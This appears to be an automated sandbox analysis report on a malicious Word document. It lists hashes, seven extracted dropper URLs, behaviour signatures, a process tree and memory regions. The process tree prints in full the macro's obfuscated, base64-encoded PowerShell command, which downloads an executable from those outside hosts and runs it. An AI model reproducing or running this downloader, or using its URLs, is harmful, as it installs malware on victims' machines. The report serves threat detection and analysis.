Windows 7 deprecation

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Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28/05/2024, 23:45

General

  • Target

    7ed02ffb79c09a97da8d431d2ed74711_JaffaCakes118.doc

  • Size

    152KB

  • MD5

    7ed02ffb79c09a97da8d431d2ed74711

  • SHA1

    ef2c92acbd2238f3bb6a84d9401d5fe641c0deb8

  • SHA256

    b701933f7ffd80577c3d8ea10ff3e373b79a72366c0ab41e91d424cd237a77d4

  • SHA512

    b84ecb1eb0ca6d7c29a63d8430c7aa27574521475eb018073bb5d3f3fb1d87218caf81b052aff437b8d045aef1e5dd7d7612f1ea4c36ecd159b352205f9e1b39

  • SSDEEP

    1536:VCOIDQhDHR4OIDQhDHRdrdi1Ir77zOH98Wj2gpngB+a9b7Qb4HrO4u0HA:VzrfrzOH98ipgf7I4HrO4u0HA

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://cnnmediaservices.com/wp-admin/czBMOhz/

exe.dropper

http://ak3.net/t0XJ/

exe.dropper

http://ovday.com/1umq/S5IWl04/

exe.dropper

http://gch7.com/wp-includes/Nkwp/

exe.dropper

http://chengmikeji.com/wp-includes/9QQ/

exe.dropper

http://blog.anseeing.com/sys-cache/h/

exe.dropper

http://1sync-wp.x.opencrm.eu/wp-content/Bu/

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7ed02ffb79c09a97da8d431d2ed74711_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2864
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2792
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABEAGwAagBxAGMAcQB0AD0AKAAnAEYAJwArACgAJwA4ADcAcABiACcAKwAnADYAJwApACsAJwB2ACcAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAGkATABFAFwAeQBzADEASAAyAG4AeABcAEMANgBOADYAdgB5AHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQBSAEkAVAB5AFAAcgBPAFQAYABvAEMAYABvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAJwApACsAKAAnAHMAMQAnACsAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQATgBfAHUAbgBxAG4ANgAgAD0AIAAoACcASAAnACsAJwAzACcAKwAoACcAdgAnACsAJwBoAGsAJwArACcAcQB6AHIAJwApACsAJwAyACcAKQA7ACQATAA1ADgAdQBmADUAdQA9ACgAKAAnAEcAZgBlAHAAJwArACcAaQAnACkAKwAnAHQAXwAnACkAOwAkAFYAbgB5AHQAeQBrAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBuAEwAJwArACcASgBZACcAKwAnAHMAMQBoADIAbgAnACkAKwAoACcAeABuAEwASgBDACcAKwAnADYAJwApACsAJwBuACcAKwAoACcANgB2AHkAJwArACcAcQAnACkAKwAoACcAbgAnACsAJwBMAEoAJwApACkAIAAgAC0AQwBSAEUAcABMAEEAQwBFACAAKABbAEMASABhAHIAXQAxADEAMAArAFsAQwBIAGEAcgBdADcANgArAFsAQwBIAGEAcgBdADcANAApACwAWwBDAEgAYQByAF0AOQAyACkAKwAkAE4AXwB1AG4AcQBuADYAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABBADYAcwBoAF8AaQBqAD0AKAAnAFAAJwArACgAJwA1ACcAKwAnAGQAaQAnACsAJwBiAHoAdwAnACkAKQA7ACQASQA0ADIAYwA1ADIAXwA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgB3AEUAQgBjAGwAaQBFAG4AVAA7ACQATgB3AHgAbgBwAHYAaAA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAKAAnADoALwAvACcAKwAnAGMAbgBuAG0AJwApACsAJwBlAGQAJwArACcAaQBhACcAKwAnAHMAJwArACgAJwBlACcAKwAnAHIAdgBpACcAKQArACcAYwBlACcAKwAoACcAcwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AYQBkAG0AaQBuAC8AYwB6ACcAKwAnAEIAJwApACsAKAAnAE0ATwBoACcAKwAnAHoALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoALwAnACkAKwAoACcALwAnACsAJwBhAGsAMwAuACcAKwAnAG4AZQB0ACcAKQArACgAJwAvAHQAMABYACcAKwAnAEoALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwApACsAKAAnAG8AdgAnACsAJwBkACcAKwAnAGEAeQAuAGMAJwArACcAbwBtAC8AMQAnACkAKwAoACcAdQBtAHEAJwArACcALwAnACkAKwAnAFMANQAnACsAKAAnAEkAVwBsACcAKwAnADAAJwApACsAKAAnADQAJwArACcALwAqAGgAdAAnACkAKwAoACcAdABwADoAJwArACcALwAvACcAKQArACcAZwAnACsAJwBjACcAKwAnAGgANwAnACsAKAAnAC4AYwBvAG0AJwArACcALwB3ACcAKwAnAHAALQAnACkAKwAnAGkAbgAnACsAJwBjACcAKwAnAGwAJwArACcAdQBkACcAKwAnAGUAJwArACgAJwBzAC8ATgAnACsAJwBrAHcAJwArACcAcAAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAOgAvACcAKwAnAC8AJwArACcAYwBoACcAKwAnAGUAbgBnAG0AaQBrAGUAJwApACsAKAAnAGoAaQAuAGMAbwBtAC8AJwArACcAdwAnACsAJwBwACcAKQArACgAJwAtAGkAJwArACcAbgBjAGwAdQBkAGUAJwApACsAJwBzAC8AJwArACgAJwA5AFEAJwArACcAUQAvACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGIAJwArACcAbABvACcAKQArACgAJwBnAC4AYQBuAHMAJwArACcAZQAnACkAKwAoACcAZQBpACcAKwAnAG4AJwApACsAKAAnAGcAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBzAHkAcwAtACcAKwAnAGMAYQBjAGgAZQAvACcAKwAnAGgAJwArACcALwAnACsAJwAqACcAKQArACgAJwBoACcAKwAnAHQAdABwADoALwAvADEAJwApACsAKAAnAHMAeQBuAGMAJwArACcALQAnACsAJwB3AHAALgAnACkAKwAoACcAeAAnACsAJwAuAG8AcABlAG4AJwArACcAYwByACcAKQArACcAbQAnACsAJwAuACcAKwAnAGUAJwArACgAJwB1AC8AJwArACcAdwAnACkAKwAoACcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAbgB0ACcAKwAnAC8AQgB1ACcAKQArACcALwAnACkALgAiAFMAcABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBwAF8AMQBtAHkAMgA9ACgAKAAnAFcAJwArACcANQB2AHEANgAnACkAKwAnADYAJwArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAGYAYwB1ADEAYQB5ACAAaQBuACAAJABOAHcAeABuAHAAdgBoACkAewB0AHIAeQB7ACQASQA0ADIAYwA1ADIAXwAuACIAZABPAHcAYABOAGwAbwBgAEEAZABmAEkATABlACIAKAAkAEkAZgBjAHUAMQBhAHkALAAgACQAVgBuAHkAdAB5AGsAbwApADsAJABGADUAcQA2ADAAdAB6AD0AKAAoACcATwB0ACcAKwAnADAAbQAyACcAKQArACcAbABnACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABWAG4AeQB0AHkAawBvACkALgAiAGwAZQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADEAMwA4ADEAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAoACQAVgBuAHkAdAB5AGsAbwApADsAJABJADEANQB0AGoAZgBuAD0AKAAoACcATQAnACsAJwBuAGYAeQA1ACcAKQArACcAdAAxACcAKQA7AGIAcgBlAGEAawA7ACQAQQBhAGkAaQAzADUAZwA9ACgAKAAnAFQAJwArACcAZgA0ACcAKQArACgAJwB6AG8AawAnACsAJwB0ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBADgAdABmADEAdAAwAD0AKAAnAEMAMgAnACsAJwBzACcAKwAoACcAZwB0ACcAKwAnAHUAMQAnACkAKQA=
      1⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2776

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      bea572d6e4312b0401aa3154493947d1

      SHA1

      4700d20c72d83d45f556ed98ab14e2ea1dc9d9b1

      SHA256

      67ea90435d43c0f4d27f8750975522eb7ca818d8fb90bf9e80126052753131f3

      SHA512

      c6316d64989a4ac3f061d9e3c8c90f731d2a6579476c0bef24331eca05851f8587e71e066b48d58f5f5478758657c754c811807a680e96594f75f2b34bcf3954

    • memory/2776-39-0x000000001B580000-0x000000001B862000-memory.dmp

      Filesize

      2.9MB

    • memory/2776-40-0x00000000022D0000-0x00000000022D8000-memory.dmp

      Filesize

      32KB

    • memory/2864-25-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-26-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-12-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-10-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-9-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-23-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-16-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-17-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-15-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-14-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-18-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-13-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-11-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-20-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-22-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-21-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-19-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-0-0x000000002FE01000-0x000000002FE02000-memory.dmp

      Filesize

      4KB

    • memory/2864-7-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-27-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-8-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-24-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-32-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-31-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-29-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-33-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-28-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-30-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-6-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-2-0x000000007125D000-0x0000000071268000-memory.dmp

      Filesize

      44KB

    • memory/2864-45-0x000000007125D000-0x0000000071268000-memory.dmp

      Filesize

      44KB

    • memory/2864-46-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-48-0x0000000005D50000-0x0000000005E50000-memory.dmp

      Filesize

      1024KB

    • memory/2864-49-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2864-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2864-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2864-70-0x000000007125D000-0x0000000071268000-memory.dmp

      Filesize

      44KB